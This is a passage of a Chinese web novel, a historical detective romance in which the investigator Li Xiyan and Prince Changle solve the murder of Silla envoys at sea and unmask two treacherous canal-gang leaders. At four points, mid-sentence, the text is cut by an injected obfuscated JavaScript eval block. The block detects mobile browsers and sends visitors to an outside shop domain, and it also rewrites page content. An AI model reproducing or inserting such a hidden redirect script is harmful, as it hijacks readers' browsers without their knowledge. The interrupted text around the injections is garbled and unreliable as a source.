“本王会立即上疏给皇兄,再让人修书给新罗,坦白此事,以免新罗误认为我们不重视两国关系而心生嫌隙。” “嗯。”李希言没想到容朗还算靠谱,“案子我会尽快解决,在新罗派人来之前,必须破案,找出凶手!” 她说完转回身,拍了拍商人的肩膀郑重道:“你先冷静下来,告诉我,这船的具体情况。” 商人也知道事情的严重性,认认真真回忆道:“船是六月十六晚上出发的,船上除去两位使臣和他们的四个侍卫,共有七个船工,五个舞伎,两个婢女。” “二十个人?”李希言抓到了问题所在,“少了一个。” 容朗抚掌:“少的那个可能就是下迷药的内应。” “没错。”李希言追问,“你这船的航行速度如何?” “很快。”商人很是自信,“少有能追上我这船的,顺风的时候,最快一日能走三四十里。” 这速度快赶得上战船了。 “船上的船工你都认识吗?” “认识的!都是在鄙人手下做了好多年的人。” 李希言指向尸体:“去认一认男尸,看看少了谁。” 容朗站了出来:“我带你去,尸体被烧得厉害,你先对一对年龄和特征。” “是是是。”商人虽然害怕,但还是咬着牙跟着他走了过去。 容朗掀开第一具尸体身上的白布:“这个三十二岁,有六尺高……” 他将每具尸体的特征细细说给商人听,好让商人确定身份。 和李希言一起站在不远处的袁桦不敢置信地揉了揉眼睛。 “王爷这是……他还会验尸吗?” 怎么可能啊! 看见他如此震惊,李希言心里诡异地觉得平衡了些,淡定地点点头,还给补了一句:“不仅会,验得比你县衙的仵作好。” 袁桦木愣愣的:“肯定是我在做梦……” 商人在容朗的协助下,很快认清了所有死者的身份。 “少的那个是田耀!是我招来的船工” 李希言招手:“苗青,带他去把人像画下来,立即通缉田耀!” 容朗提醒道:“要不要回一趟沧州州府?” “要。” 一个小小的船工可做不下这样的大案。 “我们立即动身。” 沧州州府距离观阳县不近,坐船也只要不到一日的功夫。 第二日一早,一行人就下了船,容朗先下手为强,直接把行李全部让人抬进了他的王府。 理由也很能说服人。 只有在王府,他才能完完全全监视好一直想要逃跑的瑞王。 “李少使~您就放心吧!咱家也是看着瑞王殿下长大的。他尾巴一翘,咱家就知道他想干什么,这次绝对不会让他跑掉。” 正殷切和李希言说话的是容朗身边的内侍——张锦。 张锦年纪不小,头发已经全白,生得白胖和善。他资历极深,就连皇帝都是他一手带大的,而且他的武功极佳,即使是现在尚年轻的李希言都没有十成十的把握能赢过他。 李希言自然放心。 “劳您费心。” “这是什么话!”张锦把桌上的点心推了推,“您呀,就放心住下,专心办案子,其余的事交给咱家就是。来,快尝尝这个点心,这可是王……” “咳咳!”容朗右手握成拳,放在嘴边,假咳了两声。 张锦愣了一下,目光瞟向一脸僵硬的容朗。 咋啊?还没说开啊? 容朗微不可见地摇了摇头。 张锦撇撇嘴。 真是个没出息的孩子。 他暗叹一口气,话锋一转:“是咱家特意准备的。” 这生硬的转变,让李希言眼睛微微眯起。 不过吃个点心,怎么二人还“眉来眼去”的? “对了!”容朗忽然出声,“李少使可有章程了?” 李希言被案子吸引了注意,不再去想二人的异常。 她面色凝重。 “现在主要要找两样东西。一是人,疑似凶手内应的田耀。二是船,比出事船只还快的船不多。” “田耀的模样已经有了,倒是好找,但是这船……沧州海运繁盛,快船可不少。” “那就再缩小一下范围,能容纳二十人左右的船。还有,重点查漕帮。” “漕帮?” “那一片海域相当开阔,如果不熟悉海域的人,就算是提前知道船只航行路线也不可能追得上。熟悉海域,人手众多且有快船的,除了漕帮,我想不出第二个。” “漕帮内部复杂,让谁去查?” 李希言翻了一页,声音不疾不徐:“等着就是了。” 码头。 “你听说了吗?昨儿有个船出事儿啦!一船人都死了!” 一个样貌平凡的船工坐在人堆里说得绘声绘色。 旁边的船工一下围了过来。 此时码头上的船只都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711361|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经出发,大家正闲得无聊,很需要这样的话题来打发时间。 “哪家的?” 起头的船工一脸神神秘秘:“就是那个开酒楼的何家。” “何家啊?他家船咋掀了?” “不是掀了,是被人给打劫了!” “嚯!真够狠的,打劫还杀人?” 船工们都忍不住感叹。 大家都是在海上讨生活的,对这种事故最能感同身受。 “不会是遇见海寇了吧?” “难说!” “我怎么听着不像是这样。”起头的船工摇头反对。 “那是得罪人了?” “我只听我家亲戚说,这事儿闹得可大,连长乐王都插手了。” “何家关系这么硬?” “不是,听说死的人里面有个大人物,长乐王在王府里跳着脚说抓到有关系的都得灭九族!” 起头的船工指了指码头周边一身盔甲的士兵。 “你们都没发现今儿巡逻的人格外多吗?” 灭九族这样的话一说出来,船工们面色各异。 有的拍手称快,一脸义愤填膺。 有的摇头苦笑,就怕官府做什么动作,影响了自己的生计。 还有那一小撮人脸色煞白,紧紧抓着手里的汗巾。 他们互相看对方一眼,悄无声息的离开了码头。 码头上,面摊旁,俊美如女子的白衣男子看着骚动的人群眼神闪烁,丹唇勾起。 哎呀,鱼儿上钩啦。 他将手里的玉笛挂在腰间,追了上去。 离开码头的几个船工一进巷子就分成了两路,一路向东,一路向西。 白衣男子站在路口处顿住脚步,对着空无一人的巷道说道:“关姐?你去哪边儿?” 巷道中凭空响起一道略带沙哑的女声。 “东。” 白衣男子立即向左转去。 不过半刻钟,他就追上了那几个船工。 “几位弟兄,借一步说话可好?” 骤然响起的男声让几位正埋头赶路的船工目露凶光。 船工们转过头,只见一名清瘦的男子正拿着一支玉笛看着他们笑。 “找死!” 船工们直接扑了过来。 白衣男子轻轻巧巧闪开。 “哎呀,真让人害怕~” 船工们扑了个空,怒火更盛,转头又朝他扑去。 “诶~”男子再次闪身,刚好躲过了第二次攻击。 几个船工收力不及,直接摔倒了地上。 “啊——” 被自己眼中的小白脸像逗狗似的戏弄,船工大吼一声,再次扑了过去。 “运气真不错。”男子闪来闪去。 “我得提醒你。”男子身后的巷口闪出一个三十岁出头的青衣女子,细眉俊眼,浑身透着一股潇洒劲儿。 她手上牵着“一串人”。 “少使急着要人。” “知道了知道了。”男子应了一声,立即旋身出手,不过两三下就把人全部打晕在地。 他看了一眼女子手里的“人串”,笑得谄媚:“关姐,还有绳子吗?” “没了。” 男子苦着脸:“那我怎么把这么多人弄回去啊……” “让方淳搭把手呗。” “他?”男子大吼,“他那个碎嘴子肯定还在码头上和人唠着!” 女子转身,抖了抖绳子:“自己想办法吧,我先走了。” 7. 对证 “剖验,能行吗?” 李希言看着一脸正经的容朗,语气带着些许的不信任。 只是验证尸体表面,就连稳婆都能胜任,可剖验就很难了。 容朗强调道:“我真学过。” “我帮你打下手。”李希言知道这次也是避无可避,只能也戴上了验尸的手套。 “别急。”容朗努力让自己的语气听起来很自然。 他转过身,背对着她,举起双手:“李少使,帮我把这围裙的带子系一下。” 李希言也没多想,直接上手,快速地给他打了个结。 动作快到准备做点手脚的容朗算盘落空。 “李少使手脚真快~” 李希言已经站在尸体前,根本没看见他气得发青的脸。 “动手吧。” 容朗白生了气,还得乖乖听话,老老实实站了过去。 “怎么剖?” “我想要看看他的肺和肠子。” “肺?” “你先剖。” 容朗不再追问,直接左肩下刀,横着切过去,接着在横着的刀痕中央向下切开…… 李希言额头上已经开始冒汗,却还是抿着嘴唇,眼睛都不眨一下地盯着尸体。 容朗眼风一瞟,侧了侧身,正好挡住她的视线。 真是逞强。 “你挡到了。”李希言碰了碰他的后背。 “啊?”容朗假装一脸恍然,“等一下啊,这个时候我可不能动。” 然而等他完全剖开死者的胸腹后,他也没有站回去。 “肠子没有黑也没有粘连,非常正常。” “那肺呢?” “水肿,还有积液……”容朗豁然开朗,“哮病!邬全义是死于哮病发作。” 李希言语气轻松。 “缝好吧,有这个结果就够了。” 容朗手上动作不停,话也不停:“不需要再验验吗?有诬陷邬欢下毒的事情在,邬全义哮病发作致死就肯定不是什么意外。还是你知道凶手是谁啦?不过也是,多半就是那个张山和葛渊,可是我们没有证据啊,而且佛堂是从里面上锁的,门窗都被锁住,做完案的凶手怎么出来?” 等他叨叨完,李希言才回答道:“左不过是一些手法罢了。你别忘了,我们最开始来此的目的是什么。这,才是邬全义真实的死因。” “案情已经查实。邬全义死于突发的哮病,并无中毒迹象。”李希言不疾不徐地宣布了结果,“邬欢无罪。” “那您的意思是……无人谋害先父?”邬欢带着怨毒的眼神隐秘地投向了张山和葛渊。 李希言走近她,握住她的手,用力捏了捏,安抚道:“令尊被发现时门窗是从里面锁住的,若真有人作案,那他如何能从室内出来呢?” 邬欢看着对方饱含深意的眼神,忽然想到了什么,垂下首,低低“嗯”了一声。 “不过。”李希言松开手,抚上她的肩膀,“这案子到底还要个了结,你带着最亲近的几个仆人跟本官回去做个口供。” 邬欢没有丝毫犹豫,马上应下,立时点了几个人。 反应确实快。 这个女子果然不一般。 李希言稍稍抬眸看了一眼张山和葛渊。 “你们有意见吗?” 二人对视一眼,暗自咬牙。 “恭送李少使。” 被带回王府的邬欢一行人一进院子就看见了抓捕的船工。 船工怨恨的眼神让邬欢很是错愕。 这是,怎么回事? 她是认识这些人的,他们都是漕帮的手下,怎么会被绣衣司给抓了?还这样看着她? “邬小姐。”李希言介绍道,“他们就是六月十七那日劫杀船只的犯人。” “不可能!”邬欢很是激动,一把捏住了李希言的小臂,“李少使!他们都是漕帮的人,普通百姓,怎么会去劫杀船只呢?” “还不是你爹骗我们去的!”年纪最大的船工突然朝着邬欢大吼,就连在旁边辖制他们的卫川都差点来不及拉住他,“我们有啥对不起你们的,你爹要骗我们去做杀人放火的事情。” “不可能……”邬欢松开手,呆呆地摇头,不住地否认着。 “欢……小姐。”齐十六板正的脸上带着显而易见的心疼,轻轻扶住他,“帮主不是这样的人。” “先别急。”李希言清冽的声音带着安定的意味。 邬欢像是抓住救命稻草一样抓住了李希言,她脸上安然的神色已经全然消失,此刻看上去坚强又脆弱。 “李少使!”她眼里盛满了希冀,“您明察秋毫!您再查一查,我爹真的不是这样的人!他就是死也不会去杀人,更不会去劫掠船只,那是海寇才会做的事!我们邬家祖祖辈辈都是渔民,绝对不会做这种事!” “所以我说别急。”李希言拍拍她的肩膀,想要让她先冷静下来,“我带你和你家亲信过来就是为了核对证实。” 邬欢紧绷的神经这才一松。 对,刚刚对方示意她,就是因为相信她才会借机带自己过来。 还有父亲的死……肯定和这件事有关! 理清了思路的邬欢很快恢复了平静,站得昂首挺胸。 “劫杀船只是什么时候的事情?” 卫川按着那个船工,小声劝慰:“这事情没那么简单,邬全义已经死了。你先老实核对证词。” 船工答道:“六月十六,你爹让人给我们递了口信,说是何家和外乡人勾结要抢我们地盘,让我们晚上和他一起出海,去给何家一点眼色瞧瞧!结果到了第二日凌晨,我们按照他的吩咐上了船,洗劫了船只,他却突然提出要灭口。我们不愿意,他就亲自放的火,把船给烧了。” “亲自放火?”邬欢察觉不对,“具体是怎么烧的?” “还能怎么烧?”船工撇撇嘴,“就是把甲板点了,他可真狠啊,一直到火都燃起烟来才慢腾腾下了船。” 邬欢眼中灵光一现,微微向前倾身,“你是说当时他站在失火船只上时烟雾很大。” “可大了那烟,人都要快看不见了!” “李少使!”邬欢一脸喜色,急切握住她的手,“我爹有哮病,根本闻不得烟味的!” 浓得足以遮蔽视线的烟雾会让有哮病的人当即发作。 李希言谨慎对着船工问道:“烟雾起来的时候,邬全义可有咳喘?” “没啊,他活蹦乱跳的。”船工听见这话也觉过味儿来了。 李希言继续问道:“那日你们可有真正看见那个‘邬全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711364|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义’的脸?” “没……没有。他带着面具……但是身形声音就是他啊。” “这些都能伪装。”李希言招过邬全义的一个亲信,“我们继续说,六月十六晚到六月十七,邬全义在何处?” 亲信面露纠结,踌躇了好一会儿才说道:“六月十六晚上,帮主出海了……但是!但是他带着我们的!” 他生怕这个女官不信,急忙拍着胸口保证:“当时码头上没人,但是我和他们都能作证。” 李希言转向船工:“看看这几人的脸,那日‘邬全义’身边可有这些人。” 船工来来回回看了好几遍才确定:“没有,他身边只带了个二十出头的小伙儿。” “邬全义当时是去做什么了?” 面对李希言的问题,亲信再次陷入了沉默。 “这……” “此事事关你家帮主被杀一事,你不必隐瞒什么。” 亲信扯了扯手指:“是去见一位朋友。” “什么朋友?” “不是什么重要的人,就是个大夫,那人当年给了帮主几个医治痛风和痹症的方子,俩人就结下了交情,每隔一段时间,二人就要在海上相聚一次。这次,是那人约的帮主。” 邬欢显然也知道此事:“民女听父亲提起过。那人是个杏林高手,那几个方子确实好用极了。我们漕帮也是借那几个方子制成的药膏拉拢了不少人。” “乐善好施的大夫?”李希言似笑非笑。 这明显就是有问题! 邬欢完全跟得上她的想法,略略思量就发现了问题:“这凶手和那个大夫是一伙的!他们一个引开父亲,让父亲失去不在场证明,一个冒充父亲去杀人放火!” 她咬牙:“真是狠毒!” 竟然还牵连了这些船工! 李希言眼神愈发阴冷。 “这计谋确实算得精准,要是今日我们晚来一步,你和令尊的亲信被杀,这口黑锅就能稳稳地扣在令尊头上!” 邬欢捂住了心口,压低了声音:“李少使……那船上的人是什么人?” 若只是普通的劫杀案怎么会惊动绣衣司和长乐王?怎么会让凶手兜这么大的圈子? 她越想越害怕,忍不住打了个寒颤。 “先不管这些。”李希言低头凑近她浅浅一笑,尽量用着温柔的语气安慰道:“你先带着这些亲信好生安置,其余的事情不必担心。幕后凶手虽然难抓,但是这事情和张山与葛渊逃不开关系。漕帮那么多人现在只能指望着你了。” 邬欢被李希言的话触动了。 她是父亲的独女,自小都是按照继承人的标准培养的。 对于漕帮,她有一份与生俱来的责任感。 她郑重行了一礼,眼神恢复了往日的光彩。 “民女明白。” 还未等李希言开口,早已给自己找好定位的容朗已经叫了张锦过来。 “给邬小姐他们安排好住处,让卫兵严格把守,绝不能出什么意外。” 张锦微微躬身:“奴婢遵命。只是……”他为难地侧开身子,露出一脸祈求的容表,“小公子闹着要来。” 李希言双眸微眯,眼神耐人寻味。 “好啊,让这小子跟着吧。我们正好要出门。” 8. 不可貌相 一行人骑着马向城外奔去。 “我们这是要去哪儿啊!”被关了两天的瑞王一放出来就像是脱缰的野马似的,兴奋得快要蹦起来。 李希言打量了他一眼。 “刚刚方淳来了消息,漕帮那俩人已经窜逃。” “漕帮?!”听到传说中的漕帮,瑞王激动得直问,“漕帮出什么事了?我可听说漕帮都是一群讲义气的侠士。你可不能冤枉他们!” “哦。”李希言语调平平,“老二老三借老大之名劫杀船只,后灭口老大及其独女。” “真是讲义气啊~”容朗阴阳怪气。 瑞王肩膀一下垮了下来。 李希言对这个结果很是满意,专门扭过头好好欣赏了一番。 看这个臭小子还一天到晚想这些有的没的! 然而,瑞王却忽然挺起脊背:“林子大了什么鸟都有,有那么一两只害群之马也是很正常的!” 容朗夹了夹马肚,身下的马儿速度快了些,正好挡住李希言要杀人的眼神。 看在他哥的面子上,还是要保住这个破侄子。 “别和傻子计较,饿几顿什么毛病都治好了。”他趁机靠近了些,“李少使是故意带走邬欢,留时间让那二人逃跑的吗?” “是。”李希言直接承认了,“不如此,我怕找不到那个真凶。” “那二人如今在何处?” “等到了就知道了。”李希言觉得再怎么也不会太难抓。 然而,等她循着信号焰火到达的时候,却还是傻了眼。 等在山前的卫川难得不像平时那样不羁风流,低着头认错。 “是属下大意了,那个葛渊太鸡贼了,一不小心就让他们溜进山里了。” 眼前的山虽然不高,但是山里地形最是复杂,要找两个人如同大海捞针。 方淳也揽过责任:“也不能全怪他,是我潜伏在里面的时候不小心暴露了才导致计划生变。” “好了。”计较是谁的责任在此时对抓住凶手可没有任何帮助,李希言揉了揉脑袋,“一共多少人?进去多久了?” “算上他们的亲信,一共五个。进去了快半个时辰。”刚刚布防完的关风和快步走来,“已经让人把山都围住了。接下来怎么办?” “可喊过话了?” “喊过,他们根本就不出声,现在只能确定人确实还在里面。” “真是麻烦。”李希言啧了一声。 卫川更是愧疚,提议道:“不然还是我进山去找人吧?” “在山里找要躲的人是永远都找不到的,况且我们人手不足。” 容朗凑过来:“可要我再去调些人来?” “没必要。”李希言眼神微动,“我倒是有个好法子。” 她招手让苗青过来,耳语了几句。 苗青一双大眼睛瞪得溜圆:“这会不会有些有伤天和……” “又没让你来真的。”李希言抬手指向山前一块小小的荒地。 “张山!葛渊!你们现在已经被包围,再不出来,我们就要放火烧山了!”苗青拿着火把,扯着嗓子,声音清亮,穿透力极强。 他的警告看上去不像是假的。 围着山的卫兵人手一个火把,微暗的天光被照得红亮红亮的。 “这事儿得找个人交差。”李希言已经下了马,走到了山的出口处,大声道,“本官知道,你肯定是躲到了听得见动静的地方。听清了,本官话说完就马上放火烧山,你选择的时间只有一刻钟。只要你能老实交代背后指使者,就可免死罪。” 她一说完就抬起手,瞬间,火光大盛,烟雾飘起。 风一吹,烟雾直往林子里面钻。 瑞王拉着自家小叔叔小声编排:“又狠又毒,动不动拿死威胁别人,还鸡贼得很,就在荒地放火吓人。” “胡说什么!”容朗实实在在地拍了一下他的脑袋,“这是智慧!” 瑞王摸着脑袋,嘟嘟囔囔。 “正常人谁想得出这种办法啊,也就这个女阎罗才这样。” 容朗一个眼神都不给他,专心致志地看着眼前的背影,浅色的瞳孔满是笑意。 笑得特别不值钱。 苗青如是想到,又瞥了一眼容朗,往旁边走了几步,靠近卫川,扯了扯他的袖子。 “小卫,我记得你也算半个宗室。” “你这是什么鬼话?这玩意儿能算半个吗?我正经宗室好不!只是因为我是老幺,我家爵位没我的事而已。” “好好好。”苗青不和他纠缠这个问题,只问道,“你原来见过长乐王吗?” “见过啊!我们原来还在一起读过两年书呢。”卫川不解,“你问这个干什么?” “你觉得长乐王是个怎样的人?” 卫川下意识看着前面不远处的容朗,很快下了结论:“翩翩君子,很皇室。” “很皇室?你这才是鬼话吧?” “就是说他身上有一股矜贵劲儿,但是人不错,不讨人厌。” “我怎么觉得……” 苗青反思自己是不是想得太多了,少使和这个长乐王根本就不熟啊! “你觉得什么?”卫川贼兮兮地问道。 苗青想了想,还是觉得自己多心了,敷衍道:“没什么,随口问问。” 二人正说话间,荒地上抱来的杂草已经被烧掉了近一半,可是里面却还没有动静。 李希言不住地往林子里扫视,想要得到一点点讯息。 忽然,一声尖叫从林子里传来,还夹杂着窸窸窣窣的声音。 顾不得那么多。 “苗青,把外面围好,宁可错杀也不放过!”李希言说完立即拔刀冲了进去。 容朗见状马上推开了身边的瑞王也跟了进去。 耳边的尖叫时不时响起,给李希言指明了方向。 她脚步向左边一拐,穿过几颗矮小的树苗。 面前出现了一道浅浅的山沟。 不深,只有一人高,不宽,只有八尺宽。 这山沟位置很巧妙,一边高一边低,恰好能遮住这边的视线,只能从对面看过来。 可是声音就在山沟后。 赶上来的容朗停在她身边:“人就在后面?” “能过去吗?”有个帮手总比没有好。 容朗一瞬间就像是充了气一样,挺起胸膛:“怎么不行?!” 李希言没有意识到自己算是关怀的话有些瞧不起人的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711365|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味,自顾自向后退了几步,蓄力一冲跃了过去。 为了证明自己,容朗也不甘示弱,脚尖一点也过了山沟。 二人一过山沟,面前就是一块树林稀疏的平地。 只见,葛渊满身是血,艰难地借着树木躲避着另外四人的追杀。 张山手上的剑还在滴血。 二人立即动手。 李希言直接一个闪身就出现在了张山面前。 张山脸上狰狞的笑还未消失,眼睛已经鼓了起来。 他一心灭口,根本没有注意到二人的接近! 李希言一刀刺出,将他逼退几步,给予身后的容朗拉开葛渊的时机。 “真是人不可貌相。”李希言将刀一撇,“我还以为你们二人是葛渊为主呢。” 张山和几个亲信连连后退。 “那是李少使自己看走了眼。” 眼风瞟到身后的人已经远离战局。 李希言不再拖延时间,长刀横截住几人。 一瞬间,四人身上全部挂彩。 张山捂着伤口,不敢置信地看着李希言。 他听说过此人的名头,也知道她的师父是那个半仙似的国师,可是他怎么也不敢相信一个才二十多的年轻人能有这样恐怖的实力。 愣神的那一刻,李希言再次劈下一刀。 张山也不是什么花架子,立即闪身,可是他身边的亲信就没有这样的本事,直接被劈中了肩膀。 经验丰富的他已经明白了自己不是对手,转身就跑,想要钻进旁边茂密的林子躲藏。 李希言老早就预料到了他的路线。 向左一扭身,直接以刀柄敲中了他的后脑勺。 张山双腿一软,只感到后脑一阵剧痛就晕了过去。 收拾完张山,另外三人就更简单了。 他们想要束手就擒,李希言却没给机会,直接转身一人一手刀,把人都弄晕了过去。 “好了,回去吧。” 葛渊伤得并不重,第二日一早就醒来了。 怕他真死了,他暂时被安置在一座被严密看管的小院里。 李希言得到消息,推开门,走了进去。 身后是容朗和瑞王。 看着还是面无表情的李希言,葛渊报之一笑。 “李少使这是来审问我了?” 李希言找了个位置坐下:“所以,乖乖招供。” 瑞王想要开口说些什么却被容朗一把按住。 他小声警告:“你老实点,别记吃不记打。李少使正在办正事。” 瑞王也知道李希言的性子,捂住了自己的嘴。 平时惹她可以,踩底线会被折腾得生不如死。 这儿还不没人向着他! 葛渊看着叔侄俩的互动,笑容变得非常复杂。 察觉到他的异常,李希言明了。 “怎么?想起被你们害死的大哥和要杀你的二哥了?” 话少但是总能准确戳死别人的李希言成功的让葛渊差点哭出来。 “李少使何必如此刻薄。”他收回视线,老实了不少,“您问吧,我都说。” “从劫杀船只说起。” “那要从很久之前说起……” 9. 蓄谋已久 “其实那人和我们在五年前就有了联系。” 五年前。 张山像往常一样,叫葛渊去家里吃酒。 一进屋,葛渊就看见了一个文绉绉的人也坐在里面,竟然住的还是主位。 他有些好奇。 自己这个二哥最不喜欢的就是书生,竟然会愿意让一个文弱书生坐在主位? 这人什么来头? “二哥,这位是……” 张山攀住他的肩膀,将他按着坐了下去。 “这位啊。”张山神秘兮兮地说道,“是我们漕帮的大恩人。” “恩人?” 张山介绍道:“你可知道大哥那些药膏都是哪儿来的吗?” 鼻尖的草药味提醒了葛渊。 “这位先生就是开药的大夫?” 文绉绉的男子温和一笑,颔首承认。 漕帮少有会读书的人,葛渊与男子一见如故,一顿酒吃得是宾主尽欢。 张山在事后提醒他莫要将三人的交道告知给邬全义。 看着对方眼里同样闪着的光,葛渊鬼使神差地同意了。 而结识这位大夫,确实给他们带来了很多实际的好处。 他私下会出钱让他们帮忙运送货物。 抵达的地点是大晋管辖外的海域上的小岛。 他知道这其中的异常,但是到手的白花花的银子足够让他闭上嘴。 邬全义做事守规矩,赚的钱自然没有这种违律的多。 葛渊对此是不服气的。 不多弄钱,当这个漕帮帮主做什么! 越是这样想,他越是做得心安理得。 即使船只上的货物散发着药味,他也当做不知。 直到五年后的四月初八。 他和邬全义去了寺庙拜佛。 拜完佛,邬全义把他叫到一边呵斥了一顿。 呵斥的内容正是葛渊偷运货物的事情。 被骂得脸上发烧,葛渊心里不服,面上还是讨了饶。 邬全义也没再多说,只让他以后莫要做这样的事,就让他回去了。 他憋了一肚子的气回了家,然而刚到家门就被张山喊去了家里吃酒。 房内只有二人在,门窗紧闭,桌上摆着酒食。 几杯酒下肚。 葛渊胸口的闷气散了些。 “二哥,你到底找我有什么事啊?” 张山喝得有点上头,脸色发红。 “三弟,哥有个大生意你要不要做?” 一听到“大生意”这三个字,葛渊心里一热。 “什么大生意?” 张山长叹一声:“你觉不觉得大哥太小心了些。” 这话戳中了刚刚才被训斥了一顿的葛渊。 “我今日还为了这事儿挨了一顿骂。” “什么?他竟然为了这种事骂你?还把不把人当兄弟了!” 带着明显挑拨意义的话相当有效果。 葛渊气得又灌下一杯酒。 “谁敢和圣人做兄弟!” “你也别气。”张山一副哥俩好的样子,“他骂你的话还算轻的呢,我前几日也为了这事儿被他骂过,他当时可是说要把我交给官府处置。” “什么?!”一直深藏在心底的隐忧浮上葛渊的心头,他向前倾身,“他真这么说的?” 张山一掌打在他肩上:“我骗你干啥!” 对方的话让葛渊心乱如麻。 他一直清楚地知道做这些事情是要掉脑袋的,也害怕真被官府捉到。 大着胆子干是因为他想着有漕帮撑腰。而邬全义最重义气,肯定不会对他坐视不理。 可是,张山的话打破了他的幻想。 “你刚刚说的生意是什么……” “六月十六那晚,我就扮成了大哥的样子,戴了个面具就上了船。快走到观阳县的时候,田耀发射了信号。我立刻带着人登了船。最开始我哄骗他们只是装作海寇劫掠,等劫掠完,他们没得选,才告诉他们要灭口。可惜……” 葛渊一脸愤愤。 “那些人太没出息,放火这种事情还要我亲自来动手!” 恶人是永远不会觉得自己有错的。 李希言对此已经司空见惯,她问道:“田耀呢?” “死了。”葛渊抚了抚手下的棉被,“他是张山的手下,又知道内情,张山让我杀了他。等下船后,我叫他到了无人处,给了他一块抹了毒药的金子……” “尸体呢?” “扔海里了。” 李希言有些失望。 找不到尸体,只有口供,这个杀人罪还不能坐实。 她继续问道:“是张山杀的邬全义?” “没错。他说怕我下不了手,而且我没有武功……但是其他的事情具体的我不太清楚,包括之后陷害邬欢的事情,也是他一个人做的,我只负责配合。” 现在最重要的还是要找到那个幕后之人。 “那个人叫什么名字,长什么模样?” “叫贾念信,四十出头的模样,长得……” 李希言打断了他,问道:“在哪里能找得到他?” 葛渊摇了摇头:“我对他一无所知,和他联系的人是张山。” 能问的也就这么多了,李希言站起身,叫来了一个手下。 “把那人的模样告诉他。” 笃笃—— 突兀的门敲门声响起。 “李少使?” 这声音……是邬欢? “进来吧。”李希言隐隐约约猜到她要做什么。 邬欢身后跟着齐十六。 二人朝着三人行礼。 葛渊羞愧地别过脸,不敢去看邬欢。 李希言:“有什么事吗?” 邬欢朝着床走近了几步,眼神平静无波。 “律法会惩罚你,等你死后,你我仇怨皆散。我会安排你的妻儿回老家居住,让他们衣食无忧。” “欢儿……”葛渊抬起头,在视线接触到她的那一刻又飞快移开。 “我这样做,是因为你曾经是漕帮的一员。你要心存感恩,要知道李少使没有牵连你的家人是很大的恩情,好好交代。”邬欢说完也不再去看他,朝着李希言施了一礼,“多谢李少使替先父洗清冤屈。” 木愣愣的齐十六也学着她的样子行礼。 李希言扶起她:“应该的。” 她并不反感邬全义,此人虽在江湖但是从来不违律法。 “后悔吗?”她微微侧过脸。 葛渊没有回答,只听得见有细微的抽气声。 “很拙劣的挑拨。”李希言点明,“走私货物的事情你做了几年,怎么会那么巧就在那时被邬全义发现? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711366|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我知道了。”葛渊的声音此时才染上一丝带着悔意的艰涩。 李希言不想再多说,和邬欢并肩走了出去。 两个女孩儿走在一起说话,想要跟着的容朗和齐十六也只好站在远处面面相觑。 瑞王倒是很开心,齐十六太符合他眼里的大侠形象啦! 他缠着齐十六问东问西。 远处,邬欢小声问道:“李少使,恕我多嘴问一句。那船上死的到底是什么人。” “新罗使臣。”李希言也不再隐瞒,主要是她还有个打算。 她坦白道:“这件事情涉及极大,幕后操控者在之前还一直在通过漕帮走私货物。我想请你帮忙查一查那些货物的去向。” 邬欢早有猜想,此时也不算太慌乱。 她立即应下:“身为大晋子民,这是应尽的本分。” “若有消息,你可将书信交给沧州陈记布坊掌柜转交。” “那是绣衣司的地方?”邬欢是那里的老客,还真没想到那样一个布坊竟然和绣衣司有关系。 “算是。”李希言侧头看向她,“你不记恨葛渊?” 邬欢有些意外。 这个看上去冷冷的李少使竟然会在意这个问题。 她愣了一下旋即笑道:“在我眼里,二叔三叔已经死了,变了心志的他们不再是我的二叔三叔。两个害死我父亲的外人,也没什么好记恨的。” “能这样想,很好。” 见二人交流完,被甩在后面的三个男人才走了过来。 齐十六脸色有些少见的慌乱,紧紧贴着邬欢站着,看上去像是在躲着过于热情的瑞王。 “失礼了。”李希言毫不留情地按住了瑞王的脸,“这孩子看话本把脑子看坏了!” “我才没有呢!”被按住脸的容表依旧挣扎着,“你懂什么江湖侠义?” 邬欢忍不住笑出声。 这贵人家的小郎君还真是天真。 